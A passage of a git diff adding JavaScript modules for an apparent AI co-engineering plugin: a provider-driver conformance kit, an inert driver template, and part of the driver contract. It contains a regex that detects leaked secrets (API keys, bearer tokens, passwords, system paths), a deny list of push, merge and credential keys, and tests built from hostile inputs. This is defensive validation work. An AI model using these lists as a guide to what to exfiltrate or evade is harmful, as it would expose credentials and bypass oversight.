'node:assert/strict'; +import { types as utilTypes } from 'node:util'; + +import { + capturedFreeze, + capturedIncludes, + capturedTest, +} from './grammar.mjs'; +import { + DRIVER_FEATURE_KEYS, + DRIVER_OPERATION_SCHEMA_IDS, + DRIVER_OPERATIONS, + DRIVER_RESULT_KEYS, + LAUNCH_DISPOSITIONS, + PREFLIGHT_DISPOSITIONS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertProviderDriverV1, + bindProviderDriverV1, + buildDriverOperationRequestV1, + describeProviderDriverContractV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, +} from './provider-driver.mjs'; +import { RunContractV1Error } from './run-manifest.mjs'; +import { freezeData, hasOwn } from './selection-json.mjs'; + +export const FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID = 'codex-co-engineer.future-harness-conformance.v1'; +export const FUTURE_HARNESS_CONFORMANCE_VERSION = 1; + +export const FUTURE_HARNESS_LEAK_PATTERN = new RegExp( + [ + 'api[_-]?key', + 'password', + 'passphrase', + 'private[_-]?key', + 'secret', + 'bearer\\s+[a-z0-9._+/-]+=*', + '(?:sk|xai)-[a-z0-9_-]{8,}', + '/home/', + '/opt/', + '/tmp/', + '/var/', + '[a-z]:\\\\', + ].join('|'), + 'iu', +); + +const FOREIGN_LAUNCH_KEYS = capturedFreeze([ + capturedFreeze(['fallback', true, 'replay_or_fallback_denied']), + capturedFreeze(['retry_dispatch', 'now', 'replay_or_fallback_denied']), + capturedFreeze(['allow_merge', true, 'merge_authority_denied']), + capturedFreeze(['create_pr', true, 'merge_authority_denied']), + capturedFreeze(['auto_create_pr', true, 'merge_authority_denied']), + capturedFreeze(['push', true, 'merge_authority_denied']), + capturedFreeze(['resend', true, 'replay_or_fallback_denied']), + capturedFreeze(['credentials', { token: true }, 'credential_content_denied']), +]); + +const IS_PROXY = utilTypes.isProxy; + +function expectDriverFailure(prefix, name, fn, code) { + assert.throws( + fn, + (error) => error instanceof RunContractV1Error && (code === undefined || error.code === code), + `${prefix} ${name}: expected RunContractV1Error${code ? ` with code ${code}` : ''}.`, + ); +} + +export function assertFutureHarnessContentFreeV1(value, path) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + if (typeof text !== 'string') return; + if (capturedTest(FUTURE_HARNESS_LEAK_PATTERN, text)) { + throw new RunContractV1Error( + 'credential_content_denied', + path, + `${path} leaks secret, credential, or filesystem-path content.`, + ); + } +} + +function hostileRequest(fixture, extraKey, extraValue) { + const request = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + if (extraKey !== undefined) request[extraKey] = extraValue; + return request; +} + +function assertReceiptIdentity(prefix, receipt, fixture, operation) { + assert.equal(receipt.run_id, fixture.identity.run_id, `${prefix} ${operation} echoes run_id`); + assert.equal(receipt.assignment_id, fixture.identity.assignment_id, + `${prefix} ${operation} echoes assignment_id`); + assert.equal(receipt.lane_index, fixture.identity.lane_index, + `${prefix} ${operation} echoes lane_index`); + assert.equal(receipt.base_sha, fixture.identity.base_sha, `${prefix} ${operation} echoes base_sha`); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest, + `${prefix} ${operation} echoes the proven digest`); + assert.ok(Object.isFrozen(receipt), `${prefix} ${operation} result is frozen`); + for (const key of Object.keys(receipt)) { + assert.ok(capturedIncludes(DRIVER_RESULT_KEYS, key), + `${prefix} ${operation} result key "${key}" is outside the closed P17 receipt vocabulary`); + } + assertFutureHarnessContentFreeV1(receipt, `driver.${operation}.result`); +} + +export function runFutureHarnessConformanceKitV1(driver, options = {}) { + const label = options.label ?? 'future-harness'; + const prefix = `[${label}]`; + const declaration = options.declaration; + const fixture = options.fixture; + if (declaration === undefined || fixture === undefined) { + throw new RunContractV1Error( + 'missing_key', + 'future_harness.conformance', + 'Conformance kit requires a P17 declaration and a frozen fixture.', + ); + } + const expectedPreflight = options.expect?.preflight_disposition ?? 'ready'; + const expectedLaunch = options.expect?.launch_disposition ?? 'not_sent'; + if (!capturedIncludes(PREFLIGHT_DISPOSITIONS, expectedPreflight) + || !capturedIncludes(LAUNCH_DISPOSITIONS, expectedLaunch)) { + throw new RunContractV1Error( + 'invalid_format', + 'future_harness.conformance.expect', + 'Expected dispositions must be closed P17 values.', + ); + } + + let checks = 0; + const pass = () => { checks += 1; }; + + const description = describeProviderDriverContractV1(); + assert.deepEqual([...description.operations], [...DRIVER_OPERATIONS], `${prefix} four operations`); + assert.equal(description.relaunch_operations.length, 0, `${prefix} no relaunch`); + assert.deepEqual([...description.transports], [], `${prefix} contract claims no transport`); + assert.equal(description.capability_schema_id, PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + `${prefix} P05 capability schema`); + pass(); + + const summary = assertProviderDriverV1(driver); + assert.deepEqual([...summary.operations], [...DRIVER_OPERATIONS], `${prefix} driver surface`); + pass(); + + const validatedDeclaration = validateDriverDeclarationV1(declaration); + assert.equal(validatedDeclaration.capability.provider, fixture.identity.provider, + `${prefix} declaration provider is the frozen caller identity`); + assert.equal(validatedDeclaration.capability.replay_posture, 'never_replay', + `${prefix} replay posture is never_replay`); + assert.equal(validatedDeclaration.capability.merge_authority, 'none_codex_only_integration', + `${prefix} merge authority is Codex-only`); + pass(); + + const bound = bindProviderDriverV1(driver, declaration); + expectDriverFailure(prefix, 'launch before preflight', + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'not_preflighted'); + pass(); + + const preflight = bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + assert.equal(preflight.disposition, expectedPreflight, `${prefix} preflight disposition`); + assertReceiptIdentity(prefix, preflight, fixture, 'preflight'); + pass(); + + if (expectedPreflight === 'blocked') { + expectDriverFailure(prefix, 'launch after blocked preflight', + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'blocked_lane_denied'); + pass(); + return freezeData({ + schema: FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + version: FUTURE_HARNESS_CONFORMANCE_VERSION, + label, + checks, + ok: true, + mode: 'blocked', + operations: capturedFreeze([...DRIVER_OPERATIONS]), + live_transport_qualification: false, + }); + } + + const launch = bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + assert.equal(launch.disposition, expectedLaunch, `${prefix} launch disposition`); + assertReceiptIdentity(prefix, launch, fixture, 'launch'); + if (expectedLaunch === 'not_sent') { + assert.equal(typeof launch.detail_code, 'string', `${prefix} not_sent classifies itself`); + expectDriverFailure(prefix, 'reconcile after not_sent', + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope)), + 'not_dispatched'); + const cancelCode = validatedDeclaration.features.cancellation === 'unsupported' + ? 'unsupported_capability' + : 'not_dispatched'; + expectDriverFailure(prefix, 'cancel after not_sent', + () => bound.cancel(buildDriverOperationRequestV1('cancel', fixture.envelope)), + cancelCode); + } else { + assert.equal(launch.detail_code, undefined, `${prefix} ${expectedLaunch} launch stays bare`); + expectDriverFailure(prefix, 'duplicate launch after possible send', + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'replay_denied'); + const observe = bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope)); + assertReceiptIdentity(prefix, observe, fixture, 'reconcile'); + if (validatedDeclaration.features.cancellation === 'unsupported') { + expectDriverFailure(prefix, 'unsupported cancel', + () => bound.cancel(buildDriverOperationRequestV1('cancel', fixture.envelope)), + 'unsupported_capability'); + } else if (observe.disposition === 'terminal') { + const cancel = bound.cancel(buildDriverOperationRequestV1('cancel', fixture.envelope)); + assert.equal(cancel.disposition, 'already_terminal', `${prefix} terminal cancel is absorbed`); + assertReceiptIdentity(prefix, cancel, fixture, 'cancel'); + } else { + const cancel = bound.cancel(buildDriverOperationRequestV1('cancel', fixture.envelope)); + assertReceiptIdentity(prefix, cancel, fixture, 'cancel'); + } + if (validatedDeclaration.features.restart === 'unsupported') { + expectDriverFailure(prefix, 'unsupported reattach', + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { + intent: 'restart_reattach', + })), + 'unsupported_capability'); + } + if (validatedDeclaration.features.detailed_events === 'unsupported') { + expectDriverFailure(prefix, 'unsupported detailed events', + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { + include: ['detailed_events'], + })), + 'unsupported_capability'); + } + if (validatedDeclaration.features.live_progress === 'unsupported') { + expectDriverFailure(prefix, 'unsupported live progress', + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { + include: ['live_progress'], + })), + 'unsupported_capability'); + } + } + pass(); + + expectDriverFailure(prefix, 'digest-only launch', + () => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), + 'digest_only_launch_denied'); + pass(); + + for (const [key, value, code] of FOREIGN_LAUNCH_KEYS) { + expectDriverFailure(prefix, `foreign key ${key}`, + () => validateDriverLaunchRequestV1(hostileRequest(fixture, key, value)), + code); + } + pass(); + + let getterRuns = 0; + const accessorRequest = hostileRequest(fixture); + delete accessorRequest.envelope_text; + Object.defineProperty(accessorRequest, 'envelope_text', { + enumerable: true, + get() { + getterRuns += 1; + return fixture.envelope_text; + }, + }); + expectDriverFailure(prefix, 'accessor request', + () => validateDriverLaunchRequestV1(accessorRequest), + 'accessor_property_denied'); + assert.equal(getterRuns, 0, `${prefix} getters never run`); + expectDriverFailure(prefix, 'Proxy request', + () => validateDriverLaunchRequestV1(new Proxy(hostileRequest(fixture), {})), + 'proxy_denied'); + expectDriverFailure(prefix, 'symbol key', + () => validateDriverLaunchRequestV1(hostileRequest(fixture, Symbol('hidden'), 1)), + 'symbol_key_denied'); + expectDriverFailure(prefix, 'exotic prototype', + () => validateDriverLaunchRequestV1(Object.assign( + Object.create({ inherited() {} }), hostileRequest(fixture), + )), + 'exotic_prototype_denied'); + pass(); + + expectDriverFailure(prefix, 'fifth operation', + () => assertProviderDriverV1({ ...driver, reply: () => ({}) }), + 'invalid_surface'); + expectDriverFailure(prefix, 'Proxy driver', + () => assertProviderDriverV1(new Proxy({ ...driver }, {})), + 'proxy_denied'); + pass(); + + assert.equal(DRIVER_FEATURE_KEYS.length, 4, `${prefix} four honest features`); + assert.equal(validatedDeclaration.capability.same_session_reply === 'live_session_reply' + || validatedDeclaration.capability.same_session_reply === 'unsupported_unresolved_attention', + true, `${prefix} reply posture is closed`); + pass(); + + return freezeData({ + schema: FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + version: FUTURE_HARNESS_CONFORMANCE_VERSION, + label, + checks, + ok: true, + mode: expectedLaunch, + operations: capturedFreeze([...DRIVER_OPERATIONS]), + live_transport_qualification: false, + }); +} + +export function describeFutureHarnessConformanceKitV1() { + return capturedFreeze({ + schema: FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + version: FUTURE_HARNESS_CONFORMANCE_VERSION, + operations: capturedFreeze([...DRIVER_OPERATIONS]), + live_transport_qualification: false, + proves: capturedFreeze([ + 'required_methods_and_capabilities', + 'preflight_before_spawn', + 'dispatch_certainty_and_never_replay', + 'exact_identity_binding', + 'terminal_absorption', + 'cancel_reattach_reply_supported_versus_unsupported', + 'content_free_bounded_errors_and_evidence', + 'hostile_extra_keys_prototypes_accessors', + 'bounded_events_and_receipts', + 'no_secret_or_path_leakage', + 'no_remote_pr_merge_authority', + ]), + }); +} + +capturedFreeze(assertFutureHarnessContentFreeV1); +capturedFreeze(runFutureHarnessConformanceKitV1); +capturedFreeze(describeFutureHarnessConformanceKitV1); diff --git a/plugins/codex-co-engineer/mcp/v3/provider-driver-template.mjs b/plugins/codex-co-engineer/mcp/v3/provider-driver-template.mjs new file mode 100644 index 0000000..4f4a3cd --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/provider-driver-template.mjs @@ -0,0 +1,407 @@ +// Minimal inert ProviderDriverV1 template/scaffold (P22). +// +// Imports the accepted P17 public contract only. This is not a fifth +// provider, transport, credential, process, filesystem, remote, fallback, +// retry, or registry surface. Every identity is caller-supplied, validated +// through P17, frozen, and never substituted. Unsupported operations fail +// closed. Launch never sends a prompt. + +import { types as utilTypes } from 'node:util'; + +import { + capturedCreate, + capturedDefineProperty, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedTest, + isKnownProvider, + isModelId, +} from './grammar.mjs'; +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_DISPOSITIONS, + DRIVER_FEATURE_VALUES, + DRIVER_OPERATIONS, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_DRIVER_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertProviderDriverV1, + bindProviderDriverV1, + describeProviderDriverContractV1, + validateDriverCancelRequestV1, + validateDriverCancelResultV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, + validateDriverLaunchResultV1, + validateDriverPreflightRequestV1, + validateDriverPreflightResultV1, + validateDriverReconcileRequestV1, + validateDriverReconcileResultV1, +} from './provider-driver.mjs'; +import { + ASSIGNMENT_ID_PATTERN, + RUN_ID_PATTERN, + SHA40_PATTERN, + assertAllowedKeys, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const FUTURE_HARNESS_TEMPLATE_SCHEMA_ID = 'codex-co-engineer.future-harness-template.v1'; +export const FUTURE_HARNESS_TEMPLATE_VERSION = 1; + +export const FUTURE_HARNESS_IDENTITY_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'branch', 'lane_index', 'model', 'provider', + 'request_id', 'run_id', 'workspace_semantics', 'workspace_starting_point', +]); + +export const FUTURE_HARNESS_TEMPLATE_OPTION_KEYS = capturedFreeze([ + 'declaration', 'identity', +]); + +export const FUTURE_HARNESS_FAIL_CLOSED_FEATURES = capturedFreeze({ + cancellation: 'unsupported', + detailed_events: 'unsupported', + live_progress: 'unsupported', + restart: 'unsupported', +}); + +export const FUTURE_HARNESS_REQUEST_ID_PATTERN = /^[a-z][a-z0-9._:-]{0,127}$/u; +export const FUTURE_HARNESS_BRANCH_PATTERN = /^[a-z][a-z0-9._/-]{0,127}$/u; + +const REQUEST_VALIDATORS = capturedFreeze({ + preflight: validateDriverPreflightRequestV1, + launch: validateDriverLaunchRequestV1, + reconcile: validateDriverReconcileRequestV1, + cancel: validateDriverCancelRequestV1, +}); + +const RESULT_VALIDATORS = capturedFreeze({ + preflight: validateDriverPreflightResultV1, + launch: validateDriverLaunchResultV1, + reconcile: validateDriverReconcileResultV1, + cancel: validateDriverCancelResultV1, +}); + +const PRE_LAUNCH_STATES = capturedFreeze(['absent', 'ready', 'blocked', 'not_sent']); +const POSSIBLE_SEND_STATES = capturedFreeze([ + 'dispatch_uncertain', 'dispatched', 'in_progress', 'unresolved_attention', + 'terminal', 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); + +const IS_PROXY = utilTypes.isProxy; +const NUMBER_IS_INTEGER = Number.isInteger; +const OBJECT_FREEZE = Object.freeze; +const TEMPLATE_STORES = new WeakMap(); + +function assertPattern(value, pattern, path, label) { + if (typeof value !== 'string' || !capturedTest(pattern, value)) { + fail('invalid_format', path, `${path} must be a bounded ${label}.`); + } + return value; +} + +export function validateFutureHarnessIdentityV1(identity) { + const path = 'future_harness.identity'; + if (identity === undefined || identity === null) { + fail('missing_key', path, `${path} is required; identities are never inferred or substituted.`); + } + assertDirectJsonClosure(identity, path); + assertPlainObject(identity, 'invalid_type', path, path); + assertAllowedKeys(identity, FUTURE_HARNESS_IDENTITY_KEYS, path); + for (const key of FUTURE_HARNESS_IDENTITY_KEYS) { + if (!hasOwn(identity, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} must be caller-supplied.`); + } + } + const provider = optOwn(identity, 'provider'); + if (!isKnownProvider(provider)) { + fail('unknown_provider', `${path}.provider`, + `${path}.provider must be a caller-supplied P05 provider slot.`); + } + const model = optOwn(identity, 'model'); + if (!isModelId(model)) { + fail('invalid_exact_model_selection', `${path}.model`, + `${path}.model must be the exact caller-supplied model identifier.`); + } + assertPattern(optOwn(identity, 'run_id'), RUN_ID_PATTERN, `${path}.run_id`, 'run_id'); + assertPattern( + optOwn(identity, 'assignment_id'), ASSIGNMENT_ID_PATTERN, + `${path}.assignment_id`, 'assignment_id', + ); + const laneIndex = optOwn(identity, 'lane_index'); + if (!NUMBER_IS_INTEGER(laneIndex) || laneIndex < 0 || laneIndex > 7) { + fail('invalid_format', `${path}.lane_index`, + `${path}.lane_index must be an integer in 0..=7.`); + } + assertPattern(optOwn(identity, 'request_id'), FUTURE_HARNESS_REQUEST_ID_PATTERN, + `${path}.request_id`, 'request_id'); + assertPattern(optOwn(identity, 'branch'), FUTURE_HARNESS_BRANCH_PATTERN, + `${path}.branch`, 'branch'); + assertPattern(optOwn(identity, 'base_sha'), SHA40_PATTERN, `${path}.base_sha`, 'base_sha'); + return freezeData({ + provider, + model, + run_id: optOwn(identity, 'run_id'), + assignment_id: optOwn(identity, 'assignment_id'), + lane_index: laneIndex, + request_id: optOwn(identity, 'request_id'), + branch: optOwn(identity, 'branch'), + base_sha: optOwn(identity, 'base_sha'), + workspace_semantics: optOwn(identity, 'workspace_semantics'), + workspace_starting_point: optOwn(identity, 'workspace_starting_point'), + }); +} + +function assertIdentityMatchesDeclaration(identity, declaration) { + if (identity.provider !== declaration.capability.provider) { + fail('provider_slot_mismatch', 'future_harness.identity.provider', + 'Caller-supplied provider must equal the P17 capability provider slot.'); + } + if (identity.workspace_semantics !== declaration.capability.workspace_semantics + || identity.workspace_starting_point !== declaration.capability.workspace_starting_point) { + fail('capability_workspace_mismatch', 'future_harness.identity.workspace_semantics', + 'Caller-supplied workspace posture must equal the P17 capability workspace posture.'); + } +} + +function assertEnvelopeIdentity(view, identity, operation) { + const envelope = view.envelope; + const path = `driver.${operation}.request`; + if (envelope.execution.provider !== identity.provider) { + fail('provider_slot_mismatch', `${path}.envelope_text`, + 'Proven child provider does not match the frozen caller-supplied identity.'); + } + if (envelope.execution.model !== identity.model) { + fail('invalid_exact_model_selection', `${path}.envelope_text`, + 'Proven child model does not match the frozen caller-supplied identity.'); + } + if (envelope.run_id !== identity.run_id + || envelope.assignment_id !== identity.assignment_id + || envelope.lane_index !== identity.lane_index + || envelope.repository.base_sha !== identity.base_sha) { + fail('stale_identity_denied', path, + 'Proven child run/assignment/lane/base identity does not match the frozen caller-supplied identity.'); + } + if (identity.workspace_starting_point === 'run_base_sha') { + if (envelope.starting_ref !== null) { + fail('capability_workspace_mismatch', `${path}.envelope_text`, + 'Local template lanes start at the frozen base_sha and never carry a starting_ref.'); + } + } else if (envelope.starting_ref !== identity.base_sha) { + fail('capability_workspace_mismatch', `${path}.envelope_text`, + 'Pinned starting_ref must equal the frozen caller-supplied base_sha.'); + } +} + +function assertTransition(operation, state, view) { + const path = `driver.${operation}.request`; + if (operation === 'preflight') { + if (state === 'absent' || state === 'ready' || state === 'blocked' || state === 'not_sent') { + return; + } + fail('invalid_transition', path, + 'Preflight cannot run after a prompt may have been dispatched; reconcile or cancel instead.'); + } + if (operation === 'launch') { + if (state === 'absent') { + fail('not_preflighted', path, + 'Launch requires a prior preflight:ready result for this exact child identity.'); + } + if (state === 'blocked') { + fail('blocked_lane_denied', path, + 'A blocked preflight cannot launch; the lane fails closed with no fallback.'); + } + if (state === 'ready' || state === 'not_sent') return; + fail('replay_denied', path, + 'A previous launch may have sent the prompt; the lane is never replayed.'); + } + if (operation === 'reconcile') { + if (capturedIncludes(PRE_LAUNCH_STATES, state) && state !== 'not_sent') { + fail('not_dispatched', path, + 'Reconcile addresses an existing dispatch; this child has no launch observation.'); + } + if (state === 'not_sent') { + fail('not_dispatched', path, + 'A not_sent launch never reached a provider; reconcile cannot invent a dispatch.'); + } + if (view.intent === 'restart_reattach' && !capturedIncludes(POSSIBLE_SEND_STATES, state)) { + fail('not_dispatched', `${path}.intent`, + 'restart_reattach recovers existing provider work and is never a relaunch.'); + } + return; + } + if (capturedIncludes(PRE_LAUNCH_STATES, state)) { + fail('not_dispatched', path, + 'Cancel addresses an existing dispatch; this child has no launch observation.'); + } +} + +function detailFor(operation, disposition) { + if (operation === 'preflight' && disposition === 'blocked') { + return capturedFreeze({ + detail_code: 'model_unattested', + detail_message: 'The installed driver cannot attest the requested model.', + }); + } + if (operation === 'launch' && disposition === 'not_sent') { + return capturedFreeze({ + detail_code: 'transport_unavailable', + detail_message: 'No provider transport is configured.', + }); + } + return undefined; +} + +function buildResult(operation, view, identity, disposition) { + const result = { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: view.child_envelope_digest, + disposition, + }; + const detail = detailFor(operation, disposition); + if (detail !== undefined) { + result.detail_code = detail.detail_code; + result.detail_message = detail.detail_message; + } + return result; +} + +function runOperation(store, operation, request) { + const view = REQUEST_VALIDATORS[operation](request); + assertEnvelopeIdentity(view, store.identity, operation); + const state = store.state; + assertTransition(operation, state, view); + let disposition; + if (operation === 'preflight') { + const attested = store.declaration.capability.exact_model_selection === 'exact_and_attested'; + disposition = attested ? 'ready' : 'blocked'; + } else if (operation === 'launch') { + disposition = 'not_sent'; + } else { + fail('unsupported_capability', `driver.${operation}.request`, + `Template operation "${operation}" is inert and fails closed with no provider transport.`); + } + if (!capturedIncludes(DRIVER_DISPOSITIONS[operation], disposition)) { + fail('invalid_format', `driver.${operation}.result.disposition`, + 'Template disposition is outside the closed P17 vocabulary.'); + } + const frozen = RESULT_VALIDATORS[operation]( + buildResult(operation, view, store.identity, disposition), + view.request, + store.declaration, + ); + store.state = disposition; + return frozen; +} + +function installOperation(driver, store, operation) { + capturedDefineProperty(driver, operation, { + value: function futureHarnessTemplateOperation(request) { + return runOperation(store, operation, request); + }, + enumerable: true, + configurable: false, + writable: false, + }); +} + +export function createFutureHarnessDriverTemplateV1(options) { + const path = 'future_harness.template'; + if (options === undefined || options === null) { + fail('missing_key', path, `${path} requires caller-supplied identity and declaration.`); + } + if (options !== null && (typeof options === 'object' || typeof options === 'function') + && IS_PROXY(options)) { + fail('proxy_denied', path, `${path} is a live or revoked Proxy; template options must be direct JSON.`); + } + assertDirectJsonClosure(options, path); + assertPlainObject(options, 'invalid_type', path, path); + assertAllowedKeys(options, FUTURE_HARNESS_TEMPLATE_OPTION_KEYS, path); + if (!hasOwn(options, 'identity') || !hasOwn(options, 'declaration')) { + fail('missing_key', path, `${path} requires own identity and declaration fields.`); + } + const identity = validateFutureHarnessIdentityV1(optOwn(options, 'identity')); + const declaration = validateDriverDeclarationV1(optOwn(options, 'declaration')); + assertIdentityMatchesDeclaration(identity, declaration); + const store = { + identity, + declaration, + state: 'absent', + }; + const driver = capturedCreate(null); + for (const operation of DRIVER_OPERATIONS) { + installOperation(driver, store, operation); + } + OBJECT_FREEZE(driver); + TEMPLATE_STORES.set(driver, store); + assertProviderDriverV1(driver); + return driver; +} + +export function bindFutureHarnessDriverTemplateV1(options) { + const driver = createFutureHarnessDriverTemplateV1(options); + const bound = bindProviderDriverV1(driver, TEMPLATE_STORES.get(driver).declaration); + TEMPLATE_STORES.set(bound, TEMPLATE_STORES.get(driver)); + return bound; +} + +export function inspectFutureHarnessTemplateBindingV1(driver) { + const path = 'future_harness.template.binding'; + if (driver !== null && (typeof driver === 'object' || typeof driver === 'function') + && IS_PROXY(driver)) { + fail('proxy_denied', path, `${path} is a live or revoked Proxy.`); + } + if (driver === null || typeof driver !== 'object' || capturedIsArray(driver)) { + fail('invalid_type', path, `${path} must be a concrete driver object.`); + } + const store = TEMPLATE_STORES.get(driver); + if (store === undefined) { + fail('stale_identity_denied', path, 'No frozen template binding exists for this driver object.'); + } + return freezeData({ + schema: FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, + version: FUTURE_HARNESS_TEMPLATE_VERSION, + identity: store.identity, + declaration: store.declaration, + state: store.state, + }); +} + +export function describeFutureHarnessDriverTemplateV1() { + const contract = describeProviderDriverContractV1(); + return capturedFreeze({ + schema: FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, + version: FUTURE_HARNESS_TEMPLATE_VERSION, + driver_schema: PROVIDER_DRIVER_SCHEMA_ID, + driver_version: PROVIDER_DRIVER_VERSION, + declaration_schema: DRIVER_DECLARATION_SCHEMA_ID, + operations: capturedFreeze([...DRIVER_OPERATIONS]), + features: DRIVER_FEATURE_VALUES, + fail_closed_features: FUTURE_HARNESS_FAIL_CLOSED_FEATURES, + identity_keys: FUTURE_HARNESS_IDENTITY_KEYS, + relaunch_operations: capturedFreeze([]), + transports: capturedFreeze([]), + live_transport_qualification: false, + inert: true, + contract_schema: contract.schema, + }); +} + +capturedFreeze(validateFutureHarnessIdentityV1); +capturedFreeze(createFutureHarnessDriverTemplateV1); +capturedFreeze(bindFutureHarnessDriverTemplateV1); +capturedFreeze(inspectFutureHarnessTemplateBindingV1); +capturedFreeze(describeFutureHarnessDriverTemplateV1); diff --git a/plugins/codex-co-engineer/mcp/v3/provider-driver.mjs b/plugins/codex-co-engineer/mcp/v3/provider-driver.mjs new file mode 100644 index 0000000..114801d --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/provider-driver.mjs @@ -0,0 +1,863 @@ +// ProviderDriverV1 — closed provider-driver envelope/capability contract +// (P17; ADR 0001 identifiers `no_post_dispatch_fallback_or_replay`, +// `exact_identities`, `bounded_evidence`, `gate_a_no_duplicate_dispatch`, +// `gate_a_decision_or_attention_no_silent_unanswerable`). +// +// Additive v3 module. It owns ONLY the pure contract: +// - the four-operation lifecycle (preflight, launch, reconcile, cancel) +// plus typed results for each operation; +// - exact ChildEnvelopeV1 launch proof (text bytes + raw lowercase 64-hex +// P03 digest; digest-only launches are denied); +// - honest capability declaration aligned to the accepted P05 13-field +// ProviderCapabilitiesV1 bridge (no parallel capability schema); +// - driver-surface features for live progress, restart reattach, +// cancellation, and detailed events, which fail closed when unsupported; +// - process-local status transitions with no durable store, scheduler, +// registry cutover, or provider transport (P18/P20/P19/P21). +// +// Direct-JS inputs use the P05 descriptor-first closure: live and revoked +// Proxies, accessors, symbols, exotic prototypes, sparse arrays, aliases, +// cycles, functions, and own undefined are rejected without running caller +// code. Validated values are detached deep-frozen clones. Replay, fallback, +// resend, merge, and direct-mode keys keep the P02 forbidden-class codes. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { timingSafeEqual as cryptoTimingSafeEqual } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + CAPABILITY_RECORD_ALLOWED_KEYS, + CREATE_PR_POSTURES, + DISPATCH_CERTAINTY_VALUES, + EXACT_MODEL_SELECTION_POSTURES, + MERGE_AUTHORITIES, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_CAPABILITY_SNAPSHOT_SCHEMA_ID, + REPLAY_POSTURES, + SAME_SESSION_REPLY_POSTURES, + WORKSPACE_SEMANTICS_VALUES, + WORKSPACE_STARTING_POINTS, + normalizeProviderCapabilitySnapshotV1, + projectCapabilityRecordFromP17, +} from './capability-bridge.mjs'; +import { + capturedCreate, + capturedDefineProperty, + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedJoin, + capturedTest, + capturedUtf8ByteLength, + sortedCapturedKeys, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH, IDENTITY_LABELS, childEnvelopeDigestV1 } from './identity.mjs'; +import { parseChildEnvelopeV1 } from './prompt-compiler.mjs'; +import { + assertAllowedKeys, + assertBoundedText, + assertDenseJsonArray, + assertJsonDataObject, + isPlainObject, +} from './run-manifest.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + identityBoundDigest, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export { + CAPABILITY_RECORD_ALLOWED_KEYS, + CREATE_PR_POSTURES, + DISPATCH_CERTAINTY_VALUES, + EXACT_MODEL_SELECTION_POSTURES, + MERGE_AUTHORITIES, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_CAPABILITY_SNAPSHOT_SCHEMA_ID, + REPLAY_POSTURES, + SAME_SESSION_REPLY_POSTURES, + WORKSPACE_SEMANTICS_VALUES, + WORKSPACE_STARTING_POINTS, + normalizeProviderCapabilitySnapshotV1, + projectCapabilityRecordFromP17, +}; + +export const PROVIDER_DRIVER_SCHEMA_ID = 'codex-co-engineer.provider-driver.v1'; +export const PROVIDER_DRIVER_VERSION = 1; +export const DRIVER_DECLARATION_SCHEMA_ID = 'codex-co-engineer.driver-declaration.v1'; + +export const DRIVER_OPERATIONS = capturedFreeze([ + 'preflight', 'launch', 'reconcile', 'cancel', +]); + +export const DRIVER_OPERATION_SCHEMA_IDS = capturedFreeze({ + preflight: 'codex-co-engineer.driver-preflight.v1', + launch: 'codex-co-engineer.driver-launch.v1', + reconcile: 'codex-co-engineer.driver-reconcile.v1', + cancel: 'codex-co-engineer.driver-cancel.v1', +}); + +export const DRIVER_RESULT_SCHEMA_IDS = capturedFreeze({ + preflight: 'codex-co-engineer.driver-preflight-result.v1', + launch: 'codex-co-engineer.driver-launch-result.v1', + reconcile: 'codex-co-engineer.driver-reconcile-result.v1', + cancel: 'codex-co-engineer.driver-cancel-result.v1', +}); + +export const DRIVER_SHARED_REQUEST_KEYS = capturedFreeze([ + 'schema', 'version', 'envelope_text', 